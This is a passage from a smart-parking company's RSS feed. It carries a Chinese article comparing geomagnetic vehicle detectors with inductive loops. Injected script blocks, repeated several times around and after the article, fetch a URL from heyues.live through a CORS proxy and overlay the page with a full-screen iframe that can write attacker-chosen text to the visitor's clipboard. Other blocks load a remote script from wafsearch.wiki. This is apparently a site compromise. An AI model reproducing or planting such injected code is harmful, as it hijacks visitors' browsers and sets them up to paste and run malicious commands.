    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>地磁检测器与地感线圈有何差距？</title>
		<link>https://www.movebroad.com/2018/12/05/%e5%9c%b0%e7%a3%81%e6%a3%80%e6%b5%8b%e5%99%a8%e4%b8%8e%e5%9c%b0%e6%84%9f%e7%ba%bf%e5%9c%88%e6%9c%89%e4%bd%95%e5%b7%ae%e8%b7%9d%ef%bc%9f/</link>
		
		<dc:creator><![CDATA[目博科技]]></dc:creator>
		<pubDate>Wed, 05 Dec 2018 03:45:19 +0000</pubDate>
				<category><![CDATA[科普]]></category>
		<category><![CDATA[地感]]></category>
		<category><![CDATA[地磁与红外]]></category>
		<category><![CDATA[红外检测器]]></category>
		<guid isPermaLink="false">http://www.movebroad.com/?p=689</guid>

					<description><![CDATA[无线地磁检测器自出现之后就取代了地感线圈，那么两者之间究竟有何差距呢? 实验条件： 1、地感线圈：按<a class="moretag" href="https://www.movebroad.com/2018/12/05/%e5%9c%b0%e7%a3%81%e6%a3%80%e6%b5%8b%e5%99%a8%e4%b8%8e%e5%9c%b0%e6%84%9f%e7%ba%bf%e5%9c%88%e6%9c%89%e4%bd%95%e5%b7%ae%e8%b7%9d%ef%bc%9f/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>无线地磁检测器自出现之后就取代了地感线圈，那么两者之间究竟有何差距呢?</p>
<p>实验条件：</p>
<p>1、地感线圈：按照地感线圈安装要求，我们制作了 5 匝 1m X 1.2m 的线圈，然后通过地感线圈接收器触点送给单片机计算占用时间，再通过计算机显示占有时间数据。</p>
<p>2、红外检测器：通过车身遮挡红外检测器红外光来计算占有时间。红外检测器由于采用遮挡产生信号的原理所以不存在检测范围与误检测，用来作为地感线圈和顺通车辆检测仪的测量准确度对比的基准。我们认为红外检测数据是准确的和可以信赖的。</p>
<p>3、无线地磁检测器：同时使用 2 个无线地磁检测器在检测占有时间的同时可以检测车辆速度。检测占有时间只需一个无线地磁检测器即可，用两个主要是在检测占有时间的同时，把车速也同时检测出来，以考察速度对占有时间的影响。</p>
<p>可以看出红外检测器，地磁，地感线圈的变化趋势是相同的，从其变化规律可以看出，地磁数据变化特点更加接近红外数据变化，也就是说地磁更加接近真实变化。</p>
<p>地磁与红外的占有时间比在 1.05 到 1.25 之间，而地感线圈与红外检测出的占有时间比在 1.05 与 1.55 之间，理想情况是一条水平直线，在非理想状态下，考察变化范围的大小，范围越小，说明检测器检测出的占有时间可用性越高，越稳定。不难看出，地磁检测器数据是相对稳定的、可用的。</p>
<p>无线地磁检测器经过修正后能够模拟各种尺寸的地感线圈的输出信号，可以完全替代地感线圈在交通管理中的应用，同时无线地磁检测器拥有很多地感线圈无法比拟的优势。</p>
<p><a href="http://www.movebroad.cn/">目博科技</a>是国内专业的智慧停车领域设备供应商和解决方案服务商。产品涵盖动态流量检测、<a href="http://www.movebroad.cn/">静态车位检测</a>、云智能车位控制系统等。主要产品有无线地磁车辆检测器、NB-IoT地磁车位探测器、<a href="http://www.movebroad.cn/">超声波车位探测器</a>、共享车位锁、智能车位锁等，广泛应用于城市道路流量统计、路边停车系统、共享停车等领域。目博Nb无线地磁车位探测器采用双模检测技术，精准度业内领先，尤其复杂应用场景可降低99.9%误报率，目博共享车位锁基于云平台的技术架构体系设计，能够实现人、车、车位及停车场运营方四者完美互动交互，用户通过云平台或app，可随时随地远程实现对停车位的监控、管理、授权使用、费用结算等操控，推动无人值守和共享停车的发展潮流。<script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
